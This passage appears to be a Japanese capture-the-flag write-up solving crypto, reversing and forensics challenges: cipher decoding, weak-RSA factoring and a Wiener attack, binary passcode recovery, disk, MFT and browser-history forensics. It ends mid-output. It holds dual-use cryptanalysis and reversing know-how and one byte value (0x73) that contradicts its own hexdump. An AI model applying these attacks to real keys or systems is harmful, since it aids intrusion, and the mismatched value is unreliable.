\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a

ASCIIの各文字について16進数表記している雰囲気なので次のコードを書きました:

#!/usr/bin/env python3.8

b = b"\x41\x3a\x44\x6f\x20\x79\x6f\x75\x20\x6b\x6e\x6f\x77\x20\x4d\x6f\x6c\x63\x61\x72\x3f\x0a\x0a\x42\x3a\x4f\x66\x20\x63\x6f\x75\x72\x73\x65\x21\x20\x49\x20\x6c\x6f\x76\x65\x20\x74\x68\x65\x20\x73\x63\x65\x6e\x65\x20\x77\x68\x65\x72\x65\x20\x68\x65\x20\x73\x69\x6e\x6b\x73\x20\x69\x6e\x74\x6f\x20\x74\x68\x65\x20\x62\x6c\x61\x73\x74\x20\x66\x75\x72\x6e\x61\x63\x65\x20\x77\x68\x69\x6c\x65\x20\x67\x69\x76\x69\x6e\x67\x20\x74\x68\x65\x20\x74\x68\x75\x6d\x62\x73\x20\x75\x70\x2e\x0a\x0a\x41\x3a\x2e\x2e\x2e\x20\x57\x68\x61\x74\x3f\x0a\x0a\x42\x3a\x62\x74\x77\x2c\x20\x74\x68\x65\x20\x66\x6c\x61\x67\x20\x69\x73\x20\x66\x6c\x61\x67\x7b\x48\x61\x76\x65\x5f\x79\x6f\x75\x5f\x65\x76\x65\x72\x5f\x68\x65\x61\x72\x64\x5f\x6f\x66\x5f\x48\x65\x78\x64\x75\x6d\x70\x3f\x7d\x2e\x0a"
print(b.decode())

実行すると以下の出力を得られました:

$ ./solve.py
A:Do you know Molcar?

B:Of course! I love the scene where he sinks into the blast furnace while giving the thumbs up.

A:... What?

B:btw, the flag is flag{Have_you_ever_heard_of_Hexdump?}.

$

親指を立てながら溶鉱炉へ沈んでいくシーンは涙なしでは見られません。というわけでフラグを入手できました: flag{Have_you_ever_heard_of_Hexdump?}

[Crypto, 120pts] tkys_secret_service

分担が一区切りし拠点に立ち寄っていた後輩から、あなたが3か月前に送ってきたチャットが結局なんだったのか解けないでいると話しかけられました。そういえば暇だったから意味もなく秘匿回線で内偵中の後輩に暗号文を送っていたことを思い出します。

以下の文字列を解析してフラグを入手してください。

Gur cevgrsgbvh vp Pvhgevyyrq Hhsynmmbpbrq Vhpvezngbvh (PHV) ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm bm vp cnenzvahg bzcvegnhsr gv prqreny ntrhsbrm nhq snh qbersgyl bzcnsg gur nobybgl vp gur prqreny tvirehzrhg gv massrmmpayyl svhqasg bgm rmmrhgbny zbmmbvhm nhq pahsgbvhm. Gubm caoybsngbvh cevibqrm ntrhsbrm jbgu ersvzzrhqrq mrsaebgl erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp PHV jurh gur bhpvezngbvh bm ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm; jurh gur hvhprqreny vetnhbfngbvh bm hvg svyyrsgbht ve znbhgnbhbht bhpvezngbvh vh orunyp vp n prqreny ntrhsl ve ambht ve vcrengbht n mlmgrz vh orunyp vp nh ntrhsl; nhq jurer gurer ner hv mcrsbpbs mnprtaneqbht erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp Synt bm pynt{cabcab_sne_vp_zvy} PHV cermseborq ol gur naguvebfbht ynj, ertayngbvh, ve tvirehzrhgjbqr cvybsl pve gur PHV sngrtvel ybmgrq bh gur PHV Ertbmgel. Gur erdaberzrhgm nccyl gv nyy svzcvhrhgm vp hvhprqreny mlmgrzm nhq vetnhbfngbvhm gung cevsrmm, mgver, nhq/ve genhmzbg PHV, ve gung cevibqr cevgrsgbvh pve masu svzcvhrhgm. Gur mrsaebgl erdaberzrhgm ner bhgrhqrq pve amr ol prqreny ntrhsbrm bh svhgensgany irubsyrm ve vgure nterrzrhgm rmgnoybmurq orgjrrh guvmr ntrhsbrm nhq hvhprqreny vetnhbfngbvhm.

pynt{cabcab_sne_vp_zvy}箇所がフラグの換字式暗号とだろうと考えて、試行錯誤しながら以下のコードを書いたり修正しながら1文字1文字進めていきました:

#!/usr/bin/env python3.8

import colorama

s = "Gur cevgrsgbvh vp Pvhgevyyrq Hhsynmmbpbrq Vhpvezngbvh (PHV) ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm bm vp cnenzvahg bzcvegnhsr gv prqreny ntrhsbrm nhq snh qbersgyl bzcnsg gur nobybgl vp gur prqreny tvirehzrhg gv massrmmpayyl svhqasg bgm rmmrhgbny zbmmbvhm nhq pahsgbvhm. Gubm caoybsngbvh cevibqrm ntrhsbrm jbgu ersvzzrhqrq mrsaebgl erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp PHV jurh gur bhpvezngbvh bm ermbqrhg bh hvhprqreny mlmgrzm nhq vetnhbfngbvhm; jurh gur hvhprqreny vetnhbfngbvh bm hvg svyyrsgbht ve znbhgnbhbht bhpvezngbvh vh orunyp vp n prqreny ntrhsl ve ambht ve vcrengbht n mlmgrz vh orunyp vp nh ntrhsl; nhq jurer gurer ner hv mcrsbpbs mnprtaneqbht erdaberzrhgm pve cevgrsgbht gur svhpbqrhgbnybgl vp Synt bm pynt{cabcab_sne_vp_zvy} PHV cermseborq ol gur naguvebfbht ynj, ertayngbvh, ve tvirehzrhgjbqr cvybsl pve gur PHV sngrtvel ybmgrq bh gur PHV Ertbmgel. Gur erdaberzrhgm nccyl gv nyy svzcvhrhgm vp hvhprqreny mlmgrzm nhq vetnhbfngbvhm gung cevsrmm, mgver, nhq/ve genhmzbg PHV, ve gung cevibqr cevgrsgbvh pve masu svzcvhrhgm. Gur mrsaebgl erdaberzrhgm ner bhgrhqrq pve amr ol prqreny ntrhsbrm bh svhgensgany irubsyrm ve vgure nterrzrhgm rmgnoybmurq orgjrrh guvmr ntrhsbrm nhq hvhprqreny vetnhbfngbvhm."

# 先頭要素から順番に推測しています
d = {
    "p": "f",
    "y": "l",
    "n": "a",
    "t": "g",
    "v": "o",
    "h": "n",
    "q": "d",
    "e": "r",
    "b": "i",
    "f": "z",
    "g": "t",
    "m": "s",
    "u": "h",
    "r": "e",
    "s": "c",
    "c": "p",
    "z": "m",
    "l": "y",
    "a": "u",
    "o": "b",
    "j": "w",
    "i": "v",
    "d": "q",
    }
for c in s:

    l = c.lower()
    if l not in d: print(f"{colorama.Fore.RED}{c}", end="")
    else: print(f"{colorama.Fore.GREEN}{d[l] if c.islower() else d[l].upper()}", end="")
print()

全文を復号できました:

$ ./solve.py
The protection of Fontrolled Nnclassified Onformation (FNO) resident in nonfederal systems and organizations is of paramount importance to federal agencies and can directly impact the ability of the federal government to successfully conduct its essential missions and functions. This publication provides agencies with recommended security requirements for protecting the confidentiality of FNO when the information is resident in nonfederal systems and organizations; when the nonfederal organization is not collecting or maintaining information on behalf of a federal agency or using or operating a system on behalf of an agency; and where there are no specific safeguarding requirements for protecting the confidentiality of Clag is flag{puipui_car_of_mol} FNO prescribed by the authorizing law, regulation, or governmentwide policy for the FNO category listed in the FNO Registry. The requirements apply to all components of nonfederal systems and organizations that process, store, and/or transmit FNO, or that provide protection for such components. The security requirements are intended for use by federal agencies in contractual vehicles or other agreements established between those agencies and nonfederal organizations.
$

何の文章かは全然読んでいませんが、ともかくフラグを入手できました: flag{puipui_car_of_mol}

[Crypto, 150pts] lets_bake

あなたはシェフ帽の人物からレシピを受け取りました。どうやら組織からの秘密のメッセージのようです。レシピを解読し、秘密のメッセージを入手してください。

Input:
NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0

Recipe:
RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN]b2[sRnJvbV9IZXgoJ05vbmUnKQ0=]b2[sRm9yaygnJScsJ18nLGZhbHNlKQ0=]b2[sUkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=

悩んだ問題の1つです。明らかにCyberChefに関連していて、InputRecipeもBase64エンコードされたものだとは考えました。しかしRecipe]b2[で区切ってをデコードしても、2つ目以降が意味の通らないバイト列になったのです:

In [16]: base64.b64decode("RnJvbV9CYXNlNjQoJ0EtWmEtejAtOSsvPScsdHJ1ZSkN")
Out[16]: b"From_Base64('A-Za-z0-9+/=',true)\r"

In [17]: base64.b64decode("sRnJvbV9IZXgoJ05vbmUnKQ0=")
Out[17]: b'\xb1\x19\xc9\xbd\xb5}!\x95\xe0\xa0\x9d9\xbd\xb9\x94\x9c\xa44'

In [18]: base64.b64decode("sRm9yaygnJScsJ18nLGZhbHNlKQ0=")
Out[18]: b'\xb1\x19\xbd\xc9\xac\xa0\x9c\x94\x9c\xb0\x9d|\x9c\xb1\x99\x85\xb1\xcd\x94\xa44'

In [19]: base64.b64decode("sUkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=")
Out[19]: b'\xb1I\x0c\xd0\xa1\xec\x9d\xbd\xc1\xd1\xa5\xbd\xb8\x9c\xe8\x9dUQ\x18\xe0\x9c\xb0\x9d\xcd\xd1\xc9\xa5\xb9\x9c\x9c\xe8\x9d\x8d\xa1\x95\x98\x9d\xf4\xb0\x9d1\x85\xd1\xa5\xb8\xc4\x9c\xb0\x9d1\x85\xd1\xa5\xb8\xc4\x9c\xa4'

CyberChefでFrom_Base64('A-Za-z0-9+/=',true)のレシピを使って色々触っていると、]b2[ではなく]b2[sで区切ってBase64デコードしてみると、2つ目以降もいい感じにデコードできることに気が付きました:

In [20]: base64.b64decode("RnJvbV9IZXgoJ05vbmUnKQ0=")
Out[20]: b"From_Hex('None')\r"

In [21]: base64.b64decode("Rm9yaygnJScsJ18nLGZhbHNlKQ0=")
Out[21]: b"Fork('%','_',false)\r"

In [22]: base64.b64decode("UkM0KHsnb3B0aW9uJzonVVRGOCcsJ3N0cmluZyc6J2NoZWYnfSwnTGF0aW4xJywnTGF0aW4xJyk=")
Out[22]: b"RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')"

後はこれをCyberChefのレシピに登録して、問題文中のInputを与えて処理することで、フラグを入手できました: flag{hello_baked_cipher}

[Crypto, 200pts] vul_rsa_01

あなたは組織の定期研修に参加しています。教官から RSA 暗号の禁止事項くらいは覚えておくようにと課題が出題されました。どうやら暗号文 c を解くことができればそれだけ早く帰れるようです。

以下の RSA 暗号を解読してフラグを入手してください。

c: 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335

n: 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257

e: 65537

懺悔します。この問題のパラメーター設定の何が悪いのか分かりませんでした。RSA暗号運用でやってはいけない n のこと #ssmjpを眺めましたがどれにも該当しなさそうでした。

分かっていないのに何故解けたのかというと、sagemathに任せていたら3時間ほどで素因数分解してくれたからです:

$ sage
┌────────────────────────────────────────────────────────────────────┐
│ SageMath version 8.1, Release Date: 2017-12-07                     │
│ Type "notebook()" for the browser-based notebook interface.        │
│ Type "help()" for help.                                            │
└────────────────────────────────────────────────────────────────────┘
sage: factor(13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257)

  ***   Warning: MPQS: factoring this number will take several hours:
(3時間後)
3058517013146002381763962882964790715736519 * 4372642466716249946441875327733923056149624303
$

素因数分解できてしまったのでそれを使って復号しました:

#!/usr/bin/env python3.8

from Crypto.Util.number import long_to_bytes

c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
n = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
e = 65537

# sageが3時間で素因数分解してくれました
p = 3058517013146002381763962882964790715736519
q = 4372642466716249946441875327733923056149624303
phi_n = (p-1) * (q-1)
d = pow(e, -1, phi_n)
m = pow(c, d, n)
assert pow(m, e, n) == c
print(long_to_bytes(m))

実行してフラグを入手できました: flag{weak_rsa_can_be_decrypted!}

[Crypto, 250pts] vul_rsa_02

あなたは引き続き組織の定期研修に参加しています。教官は昨日と同じ人物です。「早く帰れると言ったな。あれは嘘だ」昨日の信じられない光景が脳裏に蘇ります。RSA 暗号の禁止事項くらいは覚えておくようにと再び RSA 暗号の課題が出題されました。もはや誰も信じていませんがどうやら暗号文 c を解くことができればそれだけ早く帰れるようです。

以下の RSA 暗号を解読してフラグを入手してください。

c: 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681

n: 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423

e: 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137

今回はeが大きいので、RSA暗号運用でやってはいけない n のこと #ssmjp14ページにあるWiener's Attackを使えそうです。検索するとorisano/owiener: A Python3 implementation of the Wiener attack on RSAを見つけたのでお借りしました:

#!/usr/bin/env python3.8

import sys
from Crypto.Util.number import long_to_bytes

# ここに https://github.com/orisano/owiener/blob/master/owiener.py の内容を貼り付けます

c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137
d = attack(e, n)

if d is None:
    sys.exit("Failed")
else:
    print("Hacked d={}".format(d))

m = pow(c, d, n)
print(long_to_bytes(m))

実行すると以下の出力を得られました:

$ ./solve.py
Hacked d=19780253153570454414022314122363673676673
b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'
$

最後にフラグ文字列が含まれていました: flag{197_Michael_J_Wiener_673}

[Rev, 50pts] Helloworld

気が付くと椅子に座っていた。簡単なテストから始めよう。ガラスを隔てて真正面に白衣の女が立っている。君が優秀であることを示してくれ。声は天井のスピーカーから聞こえてくるようだ。心配はいらない。そばにある端末が起動する。どちらにしてもすぐに済む。

添付されたファイルを解析してフラグを得てください。
ファイルは「infected」というパスワード付き ZIP になっています。

配布ファイルを確認するとEXEファイルがありました。実行すると指示を出されたので指示通りに実行していきました:

PS C:\Users\WDAGUtilityAccount\Desktop> .\helloworld.exe
Nice try, please set some word when you run me.
PS C:\Users\WDAGUtilityAccount\Desktop> .\helloworld.exe "word"
Good job, but please set 'flag' when you run me.
PS C:\Users\WDAGUtilityAccount\Desktop> .\helloworld.exe "flag"
flag{free_fair_and_secure_cyberspace}
PS C:\Users\WDAGUtilityAccount\Desktop>

フラグを入手できました: flag{free_fair_and_secure_cyberspace}

[Rev, 80pts] ELF

> 監獄というより研究室のような施設だった。見る角度が大切なんだ。ガラスで隔てたられた部屋を白衣の男が歩いている。すべてを疑ってみることから始める。そばにある端末の電源が入る。手を動かして検証するというのは実に大事なことだ。
>
> 添付されたファイルを解析してフラグを入手してください。

配布ファイルを確認するとelfというファイルがありました。しかし実行できませんでした:

$ ./elf
sh: 1: ./elf: Exec format error
$ file elf
elf: data
$

Bzで見てみると、ELFシグネチャがあるはずの最初4バイトがXXXXになっていました:

$ xxd -l 32 elf
00000000: 5858 5858 0201 0100 0000 0000 0000 0000  XXXX............
00000010: 0300 3e00 0100 0000 5010 0000 0000 0000  ..>.....P.......
$

適当なELFファイルと見比べて、0x73, 0x45, 0x4C, 0x46に書き換えると実行できました:

$ xxd -l 32 elf_signature_restored
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 5010 0000 0000 0000  ..>.....P.......
$ ./elf_signature_restored
flag{run_makiba}
$

フラグを入手できました: flag{run_makiba}

(makibaは何を意味しているのでしょう……?牧場……?)

[Rev, 120pts] Passcode

その部屋はまぶしいほどの明かりで照らされていた。ここからが本番だ。白衣の人物が書類に目を落としながらつぶやくように話している。結果がすべてという訳ではないが。そばにある端末が起動する。いい結果を期待している。

添付されたファイルを解析してフラグを得てください。

配布ファイルを確認するとELF形式でした。実行するとパスコードの入力が求められました:

$ file passcode
passcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=8be572b7a0563868ee29af143b2df0c7d6b1636d, for GNU/Linux 3.2.0, stripped
$ ./passcode
Enter the passcode: test
Invalid passcode. Too short.
$

IDAで開いて確認すると入力内容を20150109と比較している処理が見えました。入力してみました:

$ ./passcode
Enter the passcode: 20150109
The passcode has been verified.

Flag is : flag{20150109}
$

フラグを入手できました: flag{20150109}

[Rev, 150pts] Passcode2

予想以上の結果だった。今日もガラス越しに対象が目を覚ます。ここまでうまくいったことはかつてない。端末に今日のデータを送信する。今度こそうまくいくかもしれない。

添付されたファイルを解析してフラグを得てください。

配布ファイルを確認するとELF形式でした。今回も実行するとパスコードの入力を求められました:

$ file passcode2
passcode2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a396332a87a60f8e353e93a001a1a9521673f19d, for GNU/Linux 3.2.0, stripped
$ ./passcode2
Enter the passcode: test
Invalid passcode. Too short.
$

IDAで開いて確認すると、スタック上に初期化したバイト列と0x2AでXORしたものを、入力内容と比較している処理が見えました。XOR結果を表示するコードを書きました:

#!/usr/bin/env python3.8

expected = [0x18, 0x1F, 4, 0x79, 0x4F, 0x5A, 4, 0x18, 0x1A, 0x1B, 0x1E]
for c in expected:
    print(chr(c^0x2A), end="")
print()

コードを実行して正解となる入力を得て、それを入力として与えました:

$ ./solve.py
25.Sep.2014
$ ./passcode2
Enter the passcode: 25.Sep.2014
The passcode has been verified.

Flag is : flag{25.Sep.2014}
$

フラグを入手できました: flag{25.Sep.2014}

[Rev, 200pts] to_analyze

あの施設はなんだったのだろう。ふとした瞬間に思い出す。「秘密情報が含まれているファイルを入手した。特定の環境で実行した場合のみ情報が表示される仕組みのようだが条件が特定できない。解析してみてくれないか。」同僚から連絡が入る。端末を開き受信データを確認する。今日の解析対象が画面に表示される。

添付されたファイルを解析してフラグを入手してください。
ファイルは「infected」というパスワード付き ZIP になっています。

配布ファイルを確認すると.NETプログラムでした:

$ file to_analyze.exe
to_analyze.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
$

dySpyで開いて確認すると、バイト列を初期化して色々操作して文字列に変換して、その文字列のディレクトリが存在していれば更に色々してフラグを表示してくれるようでした。dySpyでDirectory.Exists箇所にブレークポイントを貼って実行するとC:\Users\321txtというディレクトリが存在しているか確認していました。その名前でディレクトリを作成してから実行しました:

C:\Users\WDAGUtilityAccount>mkdir C:\Users\321txt

C:\Users\WDAGUtilityAccount>Desktop\to_analyze.exe
Yes, that's the right answer.

flag{Do_y0u_Kn0w_Ursnif?}


C:\Users\WDAGUtilityAccount>

フラグを入手できました: flag{Do_y0u_Kn0w_Ursnif?}

Ursnifについて調べてみると、マルウェアの一種ということが分かりました。同様にディレクトリの存在有無を確認していたんでしょうか?

[Forensics, 50pts] paint_flag

要調査対象者の端末からあるファイルを押収することに成功しました。どうやら外部の協力者に機密データを送ろうとしたようです。組織内の監視網をかいくぐるため、一見すると機密データが含まれていなかのように加工がされているようです。ファイルを解析して機密データを取得してください。

添付されたファイルを解析し、フラグを入手してください。

配布ファイルを確認すると.docxファイルでした。LibreOfficeで開いてみると、Microsof Office’s docx files are actually ___ files.というヒントと、フラグ文字列が書かれていますが肝心のところが塗りつぶされている画像がある文書でした。docx形式はZIP形式なので展開して中身を確認すると、word\media\flag.pngに塗りつぶされていないフラグ画像がありました: flag{What_m4tters_is_inside;)}

[Forensics, 50pts] Mail

あなたはメールデータの調査を依頼されました。組織内の要員が規定に反して組織内のデータを個人利用のクラウドサービスにバックアップとしてコピーしていたもののようです。メールデータに機密情報が含まれていないか、調査してください。

添付されたファイルを解析し、フラグを得てください。

配布ファイルを確認すると、様々なファイルがありました:

$ find . -type f | xargs file
./mail.setodanote.net/Archives.msf:       exported SGML document, ASCII text, with CRLF line terminators
./mail.setodanote.net/Drafts.msf:         exported SGML document, ASCII text, with CRLF line terminators
./mail.setodanote.net/filterlog.html:     HTML document, ASCII text
./mail.setodanote.net/INBOX:              UTF-8 Unicode text, with CRLF line terminators
./mail.setodanote.net/INBOX.msf:          exported SGML document, ASCII text, with CRLF line terminators
./mail.setodanote.net/Junk.msf:           exported SGML document, ASCII text, with CRLF line terminators
./mail.setodanote.net/msgFilterRules.dat: empty
./mail.setodanote.net/Sent-1:             UTF-8 Unicode text, with CRLF line terminators
./mail.setodanote.net/Sent-1.msf:         exported SGML document, ASCII text, with CRLF line terminators
./mail.setodanote.net/Sent.msf:           exported SGML document, ASCII text, with CRLF line terminators
./mail.setodanote.net/Templates.msf:      exported SGML document, ASCII text, with CRLF line terminators
./mail.setodanote.net/Trash.msf:          exported SGML document, ASCII text, with CRLF line terminators
./mail.setodanote.net.msf:                exported SGML document, ASCII text, with CRLF line terminators
$

各ファイルを見ていると、Sent-1ファイルがEML形式でありkimitsu.zipを送っていることに気づきました。kimitsu.zipはBase64エンコードされて記述されていたので復号してZIPファイルとして保存し展開すると、goodjob.pngがありました。画像中にフラグが書かれていました: flag{You've_clearly_done_a_good_job_there!!}

[Forensics, 80pts] Deletedfile

そのファイルを削除した瞬間にそれが誤りであることをあなたは悟ります。どうやら重要なファイルが削除されてしまったようです。あなたはディスクのイメージファイルの入手に成功しました。削除されてしまったファイルを復元し、窮地を脱してください。

添付されたファイルを解析し、フラグを得てください。

問題文にある通り、配布ファイルはディスクイメージでした:

$ file deletedfile.raw
deletedfile.raw: DOS/MBR boot sector MS-MBR Windows 7 english at offset 0x163 "Invalid partition table" at offset 0x17b "Error loading operating system" at offset 0x19a "Missing operating system"; partition 1 : ID=0xee, start-CHS (0x0,0,2), end-CHS (0x0,254,63), startsector 1, 4294967295 sectors
$

ファイル復元系ツールを探すと、Little - SuSeC CTF 2020 Forensics writeup - 4ensiXの記事でtestdiskというツールが紹介されていました。testdisk_win.exe .\deletedfile.rawで起動して、partition typeはデフォルトでEFI GPTが選択されていたのでそのまま決定して、AnalyseからのQuick Searchを選択しました。パーティション選択画面でP: list filesとあったのでPキーを押すと、削除済みであることを表す赤色で、ルードディレクトリ直下にsecret_word.jpgがありました。

他フォルダーへコピするときに少しハマりました。最初はデスクトップにコピーしようとしたのですが失敗続きでした。よくわからないまま別のフォルダーへコピーしようとすると成功しました。そういうわけで無事にsecret_word.jpgを復元でき、その画像にフラグが書かれていました: flag{nosce_te_ipsum}

フラグの意味を調べると、ラテン語で「汝自身を知れ」を意味するとのことでした。

[Forensics, 100pts] Timeline

君はタイムラインを知っているかね。ベンチに腰かけた老紳士がこちらに向かって話しかけてきます。あまり使われてはいないようだがね。老紳士はそう話を続けながら正面に向き直りため息をつきます。だが、完全に消えてしまう前にどんなアーティファクトであったか確かめてみてもいいとは思わんかね。そういって老紳士は1枚のディスクを私に手渡すと、静かに去っていきました。どうやらディスクを解析する必要があるようです。

添付のファイルを解析し、フラグを入手してください。

配布ファイルを確認すると、何かのシステムのCドライブ以下にあったであろうファイルが含まれていました:

$ find . -type f | xargs file
./C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db:     SQLite 3.x database, user version 27, last written using SQLite version 3025003
./C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-shm: data
./C/Users/stella/AppData/Local/ConnectedDevicesPlatform/L.stella/ActivitiesCache.db-wal: SQLite Write-Ahead Log, version 3007000
$

フォルダー名にあるConnectedDevicesPlatformを調べてみると、Windows10が収集するアクテビティやタイムライン機能が関連するようです。strings結果を見ていると、JSONらしい文字列中のdisplayTextキーにGoogle検索結果などが含まれていました。しばらく見ていると、description":"E:\\AppData\\f.txtなどの1文字ファイル名を使っている箇所を見つけました。同様にファイル名を追って1文字ずつ拾うとフラグが集まりました: flag{Th3_Fu7Ure_1s_N0w}

ところでデータベース内容に色々ネタが含まれていて面白かったです。windows 10 activity timeline forensics - Googleと真っ当に検索していたり、flag どこ - Google 検索な嘆きが聞こえたり、ボスケテ 意味 - Google 検索だったり、東京駅 から きさらぎ駅 - Google 検索ここから 出るには - Google 検索とホラーになっていたりしました。

[Forensics, 100pts] browser_db

調査対象者のパソコンから Web ブラウザの情報を取得しました。ファイルを解析して調査対象者が怪しい行動をしていないか調査するのが今回のあなたの仕事です。

添付されたファイルを解析し、フラグを得てください。

配布ファイルを確認するとSQLite3のデータベースでした:

$ file stella_9s84jetw.default-release_places.sqlite
stella_9s84jetw.default-release_places.sqlite: SQLite 3.x database, user version 54, last written using SQLite version 3035004
$

sqlite3コマンドでテーブル一覧を表示してみると、Firefoxらしいテーブル名が見えました:

$ sqlite3 stella_9s84jetw.default-release_places.sqlite '.table'
moz_anno_attributes    moz_historyvisits      moz_meta
moz_annos              moz_inputhistory       moz_origins
moz_bookmarks          moz_items_annos        moz_places
moz_bookmarks_deleted  moz_keywords
$

sqlite3 stella_9s84jetw.default-release_places.sqlite '.dump' > dump.txtで全テーブル内容(を復元できるSQL)をダンプして眺めていると、検索履歴のようなものがありました:

INSERT INTO moz_places VALUES(16,'https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab','flag{goosegoosego} at DuckDuckGo','moc.ogkcudkcud.',1,0,0,98,1626633856437000,'2a3ozo4TBTpD',0,47356609649855,'DuckDuckGo. Privacy, Simplified.',NULL,4);
INSERT INTO moz_places VALUES(17,'https://duckduckgo.com/?q=flag%7Bgoosegoosego%7D&t=ffab&ia=images','flag{goosegoosego} at DuckDuckGo','moc.ogkcudkcud.',1,0,0,98,1626633858441000,'WY1KqNSeRaCm',0,47356946992168,NULL,NULL,4);

ここからフラグを入手できました: flag{goosegoosego}

ちなみに、中にはSetodaを猛烈に推しているものもありました:

  • 'setoda bridge - Google 検索'
  • 'setoda bridge bomb - Google 検索'
  • 'セトダブリッジ 爆破 事件 - Google 検索'
  • 'セトダ レモン - Google 検索'
  • 'セトダブリッジ 景色 - Google 検索'
  • '「setoda」の検索結果 - Wikipedia'

[Forensics, 100pts] MFT

内部告発によりある要員が極秘情報をファイルサーバからダウンロードしていることが判明しました。組織は要員の身柄を抑え、端末から証拠となるデータを抽出しました。今回のあなたの仕事は、端末から抽出したデータを解析し、ダウンロードされた極秘情報のファイル名を特定することです。組織からは極秘情報のダウンロードされた日時が 2021-07-18 18:30頃 であることと、ファイルサイズが 465030 であることのみが伝えられています。

添付ファイルを解析し、極秘情報のファイル名を特定してください。例えばファイル名が file.txt の場合は flag{file.txt} と回答してください

配布ファイルを確認しましたがよくわからない形式でした:

$ file 'C_$MFT'
C_$MFT: data
$

ファイルパスから、本来はC:\$MFTにあったのかと思ってググってみると、解説記事が見つかりました。MasterFileTableのことらしいです。MFTを扱えるツールを探してみると、削除されたマルウェアを追跡する方法 - セキュリティ研究センターブログでMTF2CSVが紹介されていました。早速使ってみると、10分弱で処理が終わりました。

処理により出力されたファイルの1つであるMft_2021-08-26_00-13-27.csvをLibreOfficeで開いてみると、拡張CSVなのになぜか|区切りの形式でした。ともかく問題文にあるファイルサイズで検索してみるとばっちりヒットし、ファイルの作成日時も2021-07-18 18:35:21.5552452と問題文のものとほぼ一致していました。そのファイルの名前はkimitsu.zipだったので、問題文の通りの形式でフラグを提出して正解できました: flag{kimitsu.zip}

[Forensics, 100pts] tkys_another_day

無事でいてくれているだろうか。あなたは後輩の端末に残されていたある画像ファイルが気になっています。作成された日付は音信不通となる前日。ファイルは作りかけなのか、断片的な情報しか表示されません。もしかすると後輩の消息についての重要な手がかりが隠されているのではないか。あなたはファイルを詳しく解析することにしました。

添付されたファイルを解析し、フラグを入手してください。

配布ファイルを確認するとpng画像で、表示してみるとフラグの一部だけが見える状況でした。indexed-colorだったりしないか調べたり「青い空を見上げればいつもそこに白い猫」でステガノグラフィーがあるか調べたりしましたが特段何もありませんでした。

いろいろ調べている途中でpngcheck Home Pageを見つけたので使ってみました:

PS C:\Users\WDAGUtilityAccount\Desktop\pngcheck-3.0.3-win32> .\pngcheck.win64.exe -vvtps .\tkys_another_day.png
Scanning: .\tkys_another_day.png
File: .\tkys_another_day-1
  chunk IHDR at offset 0x0000c, length 13
    640 x 480 image, 32-bit RGB+alpha, non-interlaced
  chunk acTL at offset 0x00025, length 8
    unknown private, ancillary, unsafe-to-copy chunk
  chunk fcTL at offset 0x00039, length 26
